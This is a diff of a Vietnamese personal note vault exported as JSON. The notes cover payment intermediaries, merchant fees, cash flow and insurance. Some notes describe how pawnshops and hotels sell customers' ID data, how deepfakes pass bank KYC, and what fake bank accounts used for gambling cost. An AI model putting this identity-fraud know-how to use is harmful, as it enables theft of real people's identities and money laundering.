"Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Vì là trung gian thanh toán, nên các ví điện tử đứng ra bảo lãnh cho người quẹt. Chuyển khoản thì còn không biết đang làm gì, chứ dùng trung gian thanh toán thì xác định là mua hàng. Ngân hàng sẽ thấy là sạch, và điểm tín dụng sẽ cao hơn. Nếu phát hiện ra hành vi nhà bán hàng cố tình để các giao dịch nặng là rửa tiền bẩn, nhẹ là rút tiền đáo hạn hay cheating để ăn chương trình khuyến mãi [qr là 0,88% phí, pos là cỡ 18 triệu phí (vì phí mặc định là 1.8%, phí VNPAY hỗ trợ là 0.8%/1.8 tỷ)] thì VNPAY có quyền hủy điểm bán đó chấm dứt hợp đồng hợp tác giữa VNPAY ký kết với điểm bán đó, y như bảo hiểm. Nhưng nôm na là không có gì dính líu tới ngân hàng cả.\r\n\r\nTháng này phí xuống còn 1%, vì các đối tác (visa) thấy uy tín của VNPAY\r\nCác bên khác (kể cả smartpay) ko có phí đó\r\n\r\n\r\n[[Rút tiền mặt tại cửa hàng là bị cấm]] \r\n", + "Toàn bộ nội dung": "a sẽ ko vay được gì cao với cái cà vẹt xe cả, dù nó là chính chủ anh đi nữa, vì nó ko care đâu và khi a cầm đồ cavet xe ntn a có hiểu tại sao nó trả 2-3tr ko, vì nó sẽ dùng infor đó để bán infor reg acc\r\n\r\nvì nó thuộc phần dark, ko chỉ cầm đồ mà tụi lễ tân khách sạn cũng vậy, a nghĩ ở đâu mà có infor để reg acc fake\r\nvì a nghĩ nó là assets nên có thể trade theo value, nhưng ko, ở ngoài ko hoạt động như thế\r\nOoker: chứ nó chỉ cần thông tin thôi hả?\r\nKendy: nó là thứ mà tụi móc túi ngày có cả trăm cái\r\na cần thì xét thử chi phí in cái tờ giấy đó bao nhiêu so với 2tr a nhận\r\nchính vì vậy tụi cầm đồ cũng sợ bị scam\r\nnên cùng lắm nó cho a mượn kèm thêm 1 số giấy tờ verify, mà thực chất là ăn cắp infor bán thôi\r\nOoker: Nó giữ cả cái xe mà?\r\nKendy: bởi, nên mới nói cái a cầm với cái a nhận quá chênh lệch nhau\r\nOoker: Vẫn ko hiểu. Ý em là 2tr ít so với giá trị xe hả?\r\nKendy: chứ sao a\r\na bán infor mà ko biết giá đã là lỗ\r\ncầm xe mất chi phí cơ hội\r\ncầm giấy tờ\r\nđã vậy còn lãi sau bao nhiêu ngày\r\n\r\n[[Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-27T15:05:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "2W" }, { - "Tiêu đề": "QR thì thu ngân dùng là chính. SPOS chủ dùng là chính", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/QR thì thu ngân dùng là chính. SPOS chủ dùng là chính", + "Tiêu đề": "Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Quy trình là khi mình ra tiệm cầm đồ hoặc thuê khách sạn, vì mỗi khách đều phải chụp cccd + giữ cccd nên cửa hàng sẽ có được thông tin người thật. Sau đó dùng deep fake để lấy hình trên infor đó để làm KYC\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-07-30T06:54:00.000Z", "id": "2X" }, { - "Tiêu đề": "90% người bán hàng ở Momo là cộng tác viên, ko phải nhân viên", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/90% người bán hàng ở Momo là cộng tác viên, ko phải nhân viên", + "Tiêu đề": "Cái cần không phải là có tiền, mà là có dòng tiền", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tạo dòng tiền/Cái cần không phải là có tiền, mà là có dòng tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Khác biệt giữa nhân viên, đại lý, cộng tác viên]]\n", + "Toàn bộ nội dung": "[[Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-13T04:10:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "2Y" }, { - "Tiêu đề": "Máy POS của Smartpay quẹt mỗi tháng hơn 30tr thì không mất phí", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/Smartpay/Máy POS của Smartpay quẹt mỗi tháng hơn 30tr thì không mất phí", + "Tiêu đề": "Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tạo dòng tiền/Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "[[Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-07-04T10:35:00.000Z", "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "2Z" }, { - "Tiêu đề": "Smartpay chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/Smartpay/Smartpay chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch", + "Tiêu đề": "Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tạo dòng tiền/Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Momo: chỉ cần 1 giao dịch trên 50k\r\n- Smartpay: chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch. Có thể là vì [[Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông]]\r\n- VNPAY: 13 giao dịch mới được xét là active\r\n- Ecopay: \r\n", + "Toàn bộ nội dung": "[[Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -2641,2078 +2641,2039 @@ "id": "2a" }, { - "Tiêu đề": "SmartPay làm nhiều lĩnh vực", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/Smartpay/SmartPay làm nhiều lĩnh vực", + "Tiêu đề": "Đặc trưng của các dự án B2B là phải giao thiệp", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Đặc trưng của các dự án B2B là phải giao thiệp", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "sơ sơ lại bộ sp của nó:\r\n- Mã thanh toán\r\n- BH xe\r\n- loan Mirae Asset\r\n- đăng ký TKNH\r\n- posm\r\n- befood\r\n- phần mềm quản lý bán hàng\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n[[Các trang freelance toàn agency làm]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-07-29T08:21:00.000Z", "id": "2b" }, { - "Tiêu đề": "Sự khác biệt giữa các công ty trung gian thanh toán", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán", + "Tiêu đề": "Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Khác biệt về sản phẩm\r\n| Sản phẩm | Ví điện tử | Máy cà thẻ (POS) | Khác |\r\n| -------- | ---------- | ---------------- | ----------------------------- |\r\n| Momo | ✔ | ❌ | ❌ |\r\n| VNPAY | ✔ | ✔ | Cà thẻ NFC điện thoại Android |\r\n| Smartpay | ✔ | ✔ | |\r\n| Ecopay | ✔ | | |\r\nKo chỉ Vnpay, cả momo, zalopay, smartpay, eco đều có máy pos, ngân hàng cũng có. Mỗi nơi có ưu điểm khác nhau tùy thuộc vào loại thẻ, ngành nghề, nhiều thứ khác.\r\n\r\n~~Chính vì Momo không có máy POS còn VNPAY có máy POS~~, nên Momo tập trung vào sự tiện lợi với người mua hàng, còn VNPAY tập trung vào sự tiện lợi với người bán hàng. [[VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS]]\r\n\r\n## Khác biệt đối với người mua hàng\r\nMomo có nhiều ưu đãi, khuyến mãi, dịch vụ hơn:\r\n- Từ thiện\r\n- Phân loại thu chi\r\n- Giáo dục tài chính\r\n- Ví trả sau ([[Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng]]) \r\n\r\n## Khác biệt đối với người bán hàng\r\nCác công ty đều có tặng loa\r\n\r\n| Sản phẩm | Máy cà thẻ | Chương trình quản lý giao dịch | Phí rút tiền về ngân hàng | Đặc điểm khác | Ai có lợi nhất? |\r\n| -------- | ---------- | ------------------------------ | ---------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |\r\n| Momo | ❌ | ✔ |
  • ≤ 10tr: miễn phí
  • > 10tr: 0.5%
  • |
  • Chỉ cần có sẵn tài khoản Momo
  • Tiền thấy ngay trong app
  • Tạo được link thanh toán
  • Tạo được trang riêng trên app
  • | Người dùng có sẵn tài khoản Momo và bán lẻ |\r\n| VNPAY | ✔ | ✔ | 0.88% |
  • Không cần tạo tài khoản gì cả
  • Hỗ trợ tạo Google Maps cho cửa hàng
  • Tiền thấy ngay trong app. Sau 1 ngày thì tiền tự động về tài khoản ngân hàng
  • Liên thông được dữ liệu giữa QR và POS
  • | [[VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS\\|Cửa hàng có nhiều nhân viên]] |\r\n| Smartpay | | | | | |\r\n| Ecopay | | | | | |\r\nBản chất của cả Momo và VNPAY là đều cần căn cước + SĐT của người bán. Nhưng Momo hướng tới những người đã tạo app rồi, nên với những người này họ không thấy là mình phải đưa thông tin cá nhân khi đăng ký mở cửa hàng. Chứ thật ra Momo đã biết thông tin cá nhân của họ rồi.\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[5]\r\n```\r\n", + "Toàn bộ nội dung": "Gọi A là người nộp đơn xin việc vào một công ty và đậu phỏng vấn, và B là người không làm điều đó. Điều này khiến cho A là nhân viên của công ty còn B thì không.\n\nĐầu tiên ta xét hai trường hợp sau:\n\n| Trường hợp | Người được công ty biết đến | Người làm phần việc quan trọng | Người làm phần việc phụ | A được gọi là… |\n| ---------------- | --------------------------- | ------------------------------ | ----------------------- | -------------------------------- |\n| A trả công cho B | A | A | B | Nhân viên có cộng tác viên riêng |\n| B trả công cho A | A | B | B | Nhân viên ảo |\n\nNhư vậy, sự khác biệt giữa nhân viên có cộng tác viên riêng và nhân viên ảo chỉ là ai là người làm phần việc quan trọng mà thôi. Mà nếu trong khối công việc không có phần việc nào đặc biệt quan trọng hơn các việc khác (khối lượng các tác vụ xêm xêm nhau), thì ranh giới này bị xoá mờ. Ta có:\n\n```\nnhân viên có cộng tác viên riêng ≈ nhân viên ảo \n```\n\nTiếp theo ta chỉ xét trường hợp A trả công cho B:\n\n| Trường hợp | Người được công ty biết đến | Người làm phần việc quan trọng | Người làm phần việc phụ | A được gọi là… |\n| ---------------- | --------------------------- | ------------------------------ | ----------------------- | -------------------------------- |\n| A trả công cho B | A | A | B | Nhân viên có cộng tác viên riêng |\n| A trả công cho B | A | B | B | Bán việc |\n\nTa có:\n```\nnhân viên có cộng tác viên riêng ≈ bán việc\n```\n\nCuối cùng, nếu không xem ai trả công cho ai, mà là cả hai đều cùng làm việc với nhau rồi lấy tiền về ăn chia, thì đây không còn là hệ 3 thực thể gồm công ty, A và B nữa, mà là hệ 2 thực thể gồm công ty và nhóm A+B. Lúc này A sẽ được gọi là người đại diện nhóm làm việc với công ty. Ta có:\n\n| Trường hợp | Người được công ty biết đến | Người làm phần việc quan trọng | Người làm phần việc phụ | A được gọi là… |\n| ------------------ | --------------------------- | ------------------------------ | ----------------------- | -------------------------------- |\n| A trả công cho B | A | A | B | Nhân viên có cộng tác viên riêng |\n| A, B tự thoả thuận | A | A, B tự thoả thuận | A, B tự thoả thuận | Người đại diện nhóm |\nTức là:\n```\nnhân viên có cộng tác viên riêng ≈ người đại diện nhóm\n```\n\nTừ tất cả những điều trên, nếu tất cả những gì công ty cần là A làm xong việc, và nếu có vấn đề gì thì người bị công ty lôi đầu ra để xử lý là A chứ không phải là B, thì đối với công ty hình thức nào cũng như nhau cả. Công ty không có lý do gì để xem một hình thức nào là gian lận còn những hình thức khác là hợp lệ.\n\nCó thể tìm hiểu thêm về khái niệm *nét họ hàng giống nhau (family resemblance)* của Wittgenstein để hiểu được việc ranh giới giữa các khái niệm có thể bị lu mờ thế nào.\n\nXem thêm:: [[Khác biệt giữa nhân viên, đại lý, cộng tác viên]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-04T16:52:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:39:00.000Z", "id": "2c" }, { - "Tiêu đề": "Untitled", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/VNPAY/Untitled", + "Tiêu đề": "Bảo hiểm bắt buộc nhằm để bảo vệ lợi ích công cộng, môi trường, an toàn xã hội", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Bảo hiểm bắt buộc nhằm để bảo vệ lợi ích công cộng, môi trường, an toàn xã hội", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "au 4 tháng tiến độ làm việc quá chậm\r\nmục tiêu q2 là 5000 active\r\n\r\nBOD ko đánh giá số lượng phần trăm kpi, mà \r\n\r\n3 nhiệm vụ của một người sale: bán hàng, tiếp thị, phát triển thị trường\r\n\r\n[[VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS]]\r\n\r\n\r\n3 tháng liên tục phòng miên nam ko đạt\r\n6 tháng 250 mc active\r\n\r\ntối thiểu 5 mc active\r\n\r\nt-2 dưới 50% sẽ được review \r\n\r\n[[ASM bị áp lực phải tuyển mới]]\r\n\r\n\r\n[[Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình]]\r\n\r\n\r\n[[Một NV mở sai thanh tra toàn bộ nhóm]]\r\n[[Mở quán mà dưới 100 khách một ngày là dẹp tiệm]]\r\n\r\n\r\n[[Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \nCái nào chỉ là lợi ích cá nhân thì không bắt buộc\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-09-06T09:46:00.000Z", + "Ngày cập nhật": "2024-09-06T09:47:00.000Z", "id": "2d" }, { - "Tiêu đề": "VNPAY dùng GMV và active để hạn chế chạy ảo", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/VNPAY/VNPAY dùng GMV và active để hạn chế chạy ảo", + "Tiêu đề": "Chính phủ thống nhất về quản lý nhà nước về kinh doanh bảo hiểm, và quy định về bảo hiểm bắt buộc. Bộ tài chính quản lý, giám sát, báo cáo về kinh doanh bảo hiểm, và quy định về mức hoa hồng tối đa của công ty", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Chính phủ thống nhất về quản lý nhà nước về kinh doanh bảo hiểm, và quy định về bảo hiểm bắt buộc. Bộ tài chính quản lý, giám sát, báo cáo về kinh doanh bảo hiểm, và quy định về mức hoa hồng tối đa của công ty", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Cập nhật 1/7: mỗi tháng 5 QR mở mới active\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-08T03:52:00.000Z", + "Ngày cập nhật": "2024-09-08T03:57:00.000Z", "id": "2e" }, { - "Tiêu đề": "VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/VNPAY/VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS", + "Tiêu đề": "Hình thức công ty", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Hình thức công ty", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đây là những đối tượng:\r\n- Có nhiều nhân viên\r\n- Có nhu cầu liên thông dữ liệu giữa QR và POS, quản lý dòng tiền\r\n- Thấy phí 0.8% không quan trọng bằng việc nhàn\r\n\r\n[[Mở quán mà dưới 100 khách một ngày là dẹp tiệm]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n- Công ty bảo hiểm: bảo hiểm cho khách hàng\n- Công ty tái bảo hiểm: bảo hiểm cho công ty bảo hiểm\n- Công ty nhượng tái bảo hiểm: bảo hiểm cho công ty tái hoặc nhượng tái bảo hiểm\nCông ty bảo hiểm thì được tái với nhượng tái bảo hiểm. Công ty tái và nhượng tái bảo hiểm không được làm bảo hiểm cho khách hàng.\n\nNgoài ra còn có công ty dịch vụ phụ trợ, chuyên được các công ty thuê về để dánh giá rủi ro, tính toán bảo hiểm, giám định tổn thất", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-01T08:57:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-07T02:59:00.000Z", + "Ngày cập nhật": "2024-09-07T06:23:00.000Z", "id": "2f" }, { - "Tiêu đề": "Trả tiền bằng mã QR có lợi nếu cần bán tốc độ", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Trả tiền bằng mã QR có lợi nếu cần bán tốc độ", + "Tiêu đề": "Hình thức hợp đồng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Hình thức hợp đồng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ với mô hình bán cà phê mang đi, chỉ mất 30s là mang đi, thì không cần phải thối tiền, khách ở sau trả tiền luôn cũng được\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n- Đồng bảo hiểm: các công ty khác nhau cùng thống nhất giao kết với bên mua trên một hợp đồng\n- Bảo hiểm trùng: bên mua giao kết với nhiều công ty khác nhau. [[Bồi thường là trả tiền trên hoá đơn thực tế. Khoán là do người mua tự nhận định giá của mạng của mình ngay từ đầu]]\n- Bảo hiểm nhóm: mua chung, thường là công ty mua cho nhân viên\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-07T03:44:00.000Z", + "Ngày cập nhật": "2024-09-07T06:23:00.000Z", "id": "2g" }, { - "Tiêu đề": "Tỉ lệ sử dụng tiền mặt ở VN khoảng 12%", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Tỉ lệ sử dụng tiền mặt ở VN khoảng 12%", + "Tiêu đề": "Người có quyền định đoạt hợp đồng không phải là người được bảo hiểm, mà là bên mua bảo hiểm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Người có quyền định đoạt hợp đồng không phải là người được bảo hiểm, mà là bên mua bảo hiểm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: Ngân hàng nhà nước VN\n", + "Toàn bộ nội dung": "Khái niệm:: [[Bảo hiểm]]\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-10T19:20:00.000Z", - "Ngày cập nhật": "2024-08-13T04:11:00.000Z", + "Ngày tạo": "2024-09-06T08:00:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "2h" }, { - "Tiêu đề": "Mở quán mà dưới 100 khách một ngày là dẹp tiệm", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Mở tiệm/Mở quán mà dưới 100 khách một ngày là dẹp tiệm", + "Tiêu đề": "Tư vấn viên, đại lý, nhân viên bán hàng là những cái tên khác nhau cho cùng một thứ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Tư vấn viên, đại lý, nhân viên bán hàng là những cái tên khác nhau cho cùng một thứ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "biên độ lợi nhuận\r\ngap 30% thì ko quan tâm phí 0.88%, mà chỉ quan tâm nhàn\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Khác biệt giữa nhân viên, đại lý, cộng tác viên]]\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-01T09:07:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-11T07:06:00.000Z", + "Ngày cập nhật": "2024-09-11T07:07:00.000Z", "id": "2i" }, { - "Tiêu đề": "Buff like shopee phải có bình luận, hình ảnh với công là 5k", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Buff like shopee phải có bình luận, hình ảnh với công là 5k", + "Tiêu đề": "Văn phòng đại diện không được phép kinh doanh, nhưng công ty mẹ ở nước ngoài vẫn bán được phi nhân thọ. Với nhân thọ thì phải lập chi nhánh ở VN để hiểu được tính chất con người ở đây", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Văn phòng đại diện không được phép kinh doanh, nhưng công ty mẹ ở nước ngoài vẫn bán được phi nhân thọ. Với nhân thọ thì phải lập chi nhánh ở VN để hiểu được tính chất con người ở đây", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-08T03:48:00.000Z", + "Ngày cập nhật": "2024-09-08T09:27:00.000Z", "id": "2j" }, { - "Tiêu đề": "Giá tài khoản ngân hàng được tạo từ thông tin đánh cắp được bán tuỳ vào mức độ quét", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Giá tài khoản ngân hàng được tạo từ thông tin đánh cắp được bán tuỳ vào mức độ quét", + "Tiêu đề": "Đại lý không liên quan gì đến hợp đồng, vì đó là giao kết giữa công ty và khách hàng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Đại lý không liên quan gì đến hợp đồng, vì đó là giao kết giữa công ty và khách hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ với bank onl, giá tầm 700k thì không lo bị ngân hàng quét, hạn mức tối đa 500tr/ngày. Nó dành cho những người chuyên đánh bài, cá độ 1 risk nhận 0.9 return, thì tiền lời 1 lần dư mua 1 bank middle để nhận tiền.\r\n\r\nGiá thấp hơn thì dễ bị quét và hạn mức thường 100tr/ngày\r\n[[Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Tư vấn viên, đại lý, nhân viên bán hàng là những cái tên khác nhau cho cùng một thứ]]\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-08T03:26:00.000Z", + "Ngày cập nhật": "2024-09-11T07:06:00.000Z", "id": "2k" }, { - "Tiêu đề": "Airdrop là việc nền tảng cho tiền để khuyến khích người dùng sử dụng và giới thiệu sản phẩm", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Airdrop là việc nền tảng cho tiền để khuyến khích người dùng sử dụng và giới thiệu sản phẩm", + "Tiêu đề": "Đại lý là đại diện của công ty và chỉ được làm một công ty. Môi giới là đại diện của bên mua và làm cho nhiều công ty khác nhau", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Công ty, đại lý, hợp đồng/Đại lý là đại diện của công ty và chỉ được làm một công ty. Môi giới là đại diện của bên mua và làm cho nhiều công ty khác nhau", "Kho thông tin": "Tồn tại 